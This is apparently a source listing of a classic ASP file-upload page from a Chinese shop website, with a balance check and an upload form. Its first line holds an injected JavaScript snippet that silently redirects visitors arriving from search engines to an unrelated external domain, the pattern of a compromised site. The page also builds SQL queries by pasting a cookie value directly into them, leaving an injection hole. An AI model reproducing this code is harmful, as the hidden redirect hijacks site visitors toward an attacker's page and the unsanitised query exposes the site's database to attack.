d:\wwwroot\wuchunhua\Uploadinfo.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc/conn.asp"-->
002: <!--#include file=usercookies.asp-->
003: <html>
004: <head>
005: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
006: <link href="inc/style.css" rel="stylesheet" type="text/css">
007: <style type="text/css">
008: <!--
009: BODY{
010: font-size:9pt
011: }
012: .tx1 { height: 20px;font-size: 9pt; border: 1px solid; border-color: #000000; color: #0000FF}
013: -->

014: </style>
015: <%
016: dim rs,sql,username,per
017: username=request.cookies("kqiqi")("username")
018: per=request.cookies("kqiqi")("per")
019: set rs=server.createobject("adodb.recordset")
020:
021: if per=username then
022: sql = "select * from [user] where username='"&username&"'"
023: else
024: sql = "select * from [kqiqi_shop] where username='"&username&"'"
025: end if
026:
027: rs.open sql,conn,1,3
028: if rs("hb")<1 then
029: Response.Write "您的客币余额不足,请联系本站购买或在后台用积分对换!"
030: response.end
031: rs.close
032: set rs=nothing
033: else
034: %
>
035: <SCRIPT language=javascript>
036: function check()
037: {
038:    var strFileName=document.form.FileName.value;
039:    if (strFileName=="")
040:    {
041:        alert("请选择要上传的文件");
042:       document.form.FileName.focus();
043:        return false;
044:      }
045: }
046: </SCRIPT>
047: </head>
048: <body leftmargin="0" topmargin="0">
049: <form action="upfileinfo.asp" method="post" name="form" onSubmit="return check()" enctype="multipart/form-data">
050:   <input name="FileName" type="FILE" class="tx1" size="25">
051:   <input type="submit" name="Submit" value="上传" style="border:1px double rgb(88,88,88);font:9pt">
052:    不超过200K</form>
053: </body>
054: </html>
055: <%end if%>
056:
057: